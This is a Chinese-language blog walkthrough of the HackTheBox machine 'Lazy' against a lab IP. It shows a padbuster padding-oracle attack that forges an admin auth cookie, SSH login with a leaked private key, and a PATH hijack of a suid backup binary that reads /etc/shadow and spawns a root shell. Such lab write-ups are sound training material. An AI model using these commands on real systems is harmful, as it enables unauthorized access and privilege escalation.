freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HTB靶机渗透系列之Lazy
2023-01-16 14:59:24
所属地 浙江省

Lazy 是一个中等难度的靶机,知识点涉及密文填塞攻击、SSH私钥登录、路径劫持、suid提权等。感兴趣的同学可以在HackTheBox中进行学习。
截屏2022-12-30 23.30.10
通关思维导图
Lazy

0x01 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.18 -oA nmap_Lazy --min-rate=1000

截屏2023-01-04 09.43.14

80端口

访问后是一家软件公司的官网,其中包含登录和注册功能
截屏2023-01-04 09.43.51

尝试注册用户mac/123456
截屏2023-01-04 09.44.44

使用新注册的用户成功登录
截屏2023-01-04 09.45.33

截取数据包后发现 Cookie 除了正常的PHPSESSID外还存在auth,该参数可能用于辅助用户认证
截屏2023-01-12 23.30.40

目录扫描

使用 gobuster 对站点进行目录扫描,扫描结果显示都是常规的网站目录文件
截屏2023-01-04 11.12.22

/classes目录下找到多个 PHP 文件,但并没找到可利用点
截屏2023-01-04 16.21.53

0x02 上线[mitsos]

Cookie分析

截取 Cookie 中auth参数的值如下,经分析可知采用了某种加密方式。而如果想要证明 Cookie 中是否存储数据,可尝试使用不同长度的用户名进行验证

igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu

截取用户注册数据包如下,修改username参数验证 Cookie 长度
截屏2023-01-11 00.00.40

利用 Python 根据注册用户请求包编写脚本

import random
import requests
import string
import urllib.parse

for i in range(1,30):
     username = ''.join(random.choice(string.ascii_letters) for i in range(i))
     data = f'username={username}&password=123456&password_again=123456'
     headers = {
      "Content-Type": "application/x-www-form-urlencoded"
     }
     resp = requests.post('http://10.10.10.18/register.php', allow_redirects=False, data=data, headers=headers)
     cookie = urllib.parse.unquote(resp.headers['Set-Cookie'].split("=")[1])
     print(username)
     print(cookie)
     print(f"{i} len: {len(cookie)}") 

根据结果可以发现随着用户名长度的增加,Cookie 的长度同样发生了变化,且趋势呈块状递增。当用户名长度为1-2位时,Cookie 长度为24位;当用户名长度为3-10位时,Cookie 长度为32位;当用户名长度为11-18位时,Cookie 长度为44位;当用户名长度为19-26位时,Cookie 长度为56位,由此可以看出规律:用户名长度每增加8位,Cookie 长度就增加固定块
截屏2023-01-12 23.24.19

尝试在 Cookie 的auth参数中添加无效数据,结果显示无效填充,证明 Cookie 中存在某种加密数据
截屏2023-01-12 23.31.24

密文填塞攻击

在密码学中密文填塞攻击是指使用密文的填充验证信息来进行解密的攻击方法。这种攻击方式依赖密文是否被正确填充,其常常与分组密码内的密码块链解密模式(CBC)有关。如果用户将加密数据提交给应用程序进行解密,当填充错误的返回信息与解密数据时的返回信息不同时,攻击者有可能恢复整个明文。

想要理解密文填塞攻击不得不提到 PKCS5,这是众多 Padding 标准中应用最广泛的算法,其块大小固定为8个字节,即数据始终会被切割为8个字节的数据块,如果数据不满足8个字节,会根据需要计算填充长度,这个过程会涉及到 CBC 模式,缺失的数据会填入相对应的十六进制:
截屏2022-07-31 上午4.00.57

比如目前存在场景如下:应用服务需要把经加密后的用户数据返回给服务器,服务器根据加密数据来解密验证用户信息,明文信息为BRAIN;12;2,数据经异或加密后对应传输数据的链接为https://www.example.com/home.jsp?uid=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6,应用加密过程如下:
截屏2022-07-31 上午4.10.49

服务器解密过程如下,其中7B216A634951170F是加密中间值:
截屏2022-07-31 上午4.12.12

但根据 PKCS5 算法会先判断 padding 值,一旦填充不符合规定就不会去尝试解密密文
截屏2022-07-31 上午4.15.13

截屏2022-07-31 上午4.15.06

因此根据该特性可计算加密中间值,推出加密中间值后再异或能计算出明文信息
截屏2022-07-31 上午4.25.38

了解攻击原理后可借助基于此自动攻击的工具 padbuster,其使用方法如下:

padbuster URL EncryptedSample BlockSize [options]

padbuster 有三种编码方式,其中0表示 base64 编码,1表示小写 hex 编码,2表示大写 hex 编码,选择 base64 编码测试当前环境是否存在漏洞

padbuster http://10.10.10.18/index.php igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu 8 -cookies auth=igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu -encoding 0

截屏2023-01-12 23.49.10

经工具分析后存在两个异常请求,其中255请求中返回了15字节,而200请求返回1133字节,可能重定向至登录界面,因此选择ID为2
截屏2023-01-13 09.50.33

结果打印成功块的请求,解密后数据为user=mac,与注册时的用户名一致。添加-plaintext参数获取加密后 admin 用户的 Cookie

padbuster http://10.10.10.18/index.php igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu 8 -cookies auth=igvlkOTSSfkgsgwxzsGVH3QNMePjXmEu -encoding 0 -plaintext user=admin

截屏2023-01-13 14.05.57

利用拿到的 Cookie 成功登录 admin 用户,同时页面提示My Key是 SSH key
截屏2023-01-13 14.20.18

SSH私钥登录

My Key指向链接http://10.10.10.18/mysshkeywithnamemitsos,由此推测用户名为mitsos
截屏2023-01-13 14.33.48
把文件内容复制为 SSH 私钥,同时赋予其 600 权限

chmod 600 mitsos

利用该私钥成功登录用户

ssh -i mitsos mitsos@10.10.10.18

截屏2023-01-13 14.37.07

在当前用户家目录中成功拿到第一个flag

cat user.txt

截屏2023-01-13 15.56.44

0x03 权限提升[root]

信息收集

查找带有 suid 的特权文件,其中家目录下的backup引起了我的注意

find / -perm -u=s -type f 2>/dev/null

截屏2023-01-13 14.48.19

运行backup显示/etc/shadow的内容,该文件只有 root 才可读

./backup

截屏2023-01-13 14.50.13

尝试使用 hashcat 破解其中的哈希值,但并没有什么结果

hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt --force

截屏2023-01-13 15.10.08

路径劫持

使用 ltrace 跟踪backup程序运行时进程调用库函数的情况,程序首先调用命令system("cat /etc/shadow"),但由于权限问题导致失败,这是因为 ltrace 删除了 suid 权限,导致程序无法临时拥有 root 权限

ltrace ./backup

截屏2023-01-13 15.11.37

其中存在一个漏洞:cat 命令没有在完整路径的情况下被调用,也就意味着我们可以利用$PATH环境变量来修改名为cat的可执行文件,在默认情况下$PATH内容如下:

echo $PATH

截屏2023-01-13 15.34.52

/tmp目录下创建名为cat的文件,其内容如下:

#!/bin/sh
id

赋予cat可执行权限

chmod +x cat

添加目录/tmp$PATH环境变量当中

PATH=/tmp:$PATH
echo $PATH

截屏2023-01-13 15.39.07

再次执行backup成功通过路径劫持运行/tmp/cat并打印用户ID

./backup

截屏2023-01-13 15.44.24

替换cat文件中执行命令为/bin/sh

#!/bin/sh
/bin/sh

再次运行成功拥有 root 用户权限

./backup

截屏2023-01-13 15.48.57

当然 cat 命令已经无法用于文件读取,该问题有两种解决方式,一是利用同类文件读取命令替代,比如lessgrepvim等;二是修改回原来的环境变量。这里选择使用前者读取第二个flag

head /root/root.txt

截屏2023-01-13 15.53.55

0x04 总结

Lazy 译为懒惰的,通过信息收集发现目标站点存在注册和登录功能,尝试注册测试用户mac,经分析后判断 Cookie 可能存有数据。对站点进行目录扫描,结果只有常规的目录文件,并没有发现可利用点。由于 Cookie 的auth参数使用了某种加密算法,编写脚本利用不同长度的用户名进行注册,发现随着用户名长度的递增auth长度也存在块递增,使用 padbuster 进行密文填塞攻击可拿到admin用户的 Cookie,登录后在用户界面中存在 SSH 私钥的下载地址,其中包含所需的用户名,利用该私钥成功登录目标 SSH。

在服务器中使用命令收集存在 suid 的文件,其中backup吸引了我的注意,执行后会显示/etc/shadow的内容。分析该程序可知它首先执行了命令cat /etc/shadow,但这里存在漏洞:由于cat命令没有使用完整路径,因此可利用环境变量$PATH修改cat所执行的内容。在环境变量$PATH中添加新建恶意可执行文件cat所在目录,再次运行程序就能借助路径劫持完成 suid 提权,最终成功拿到第二个flag。

# HackTheBox
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录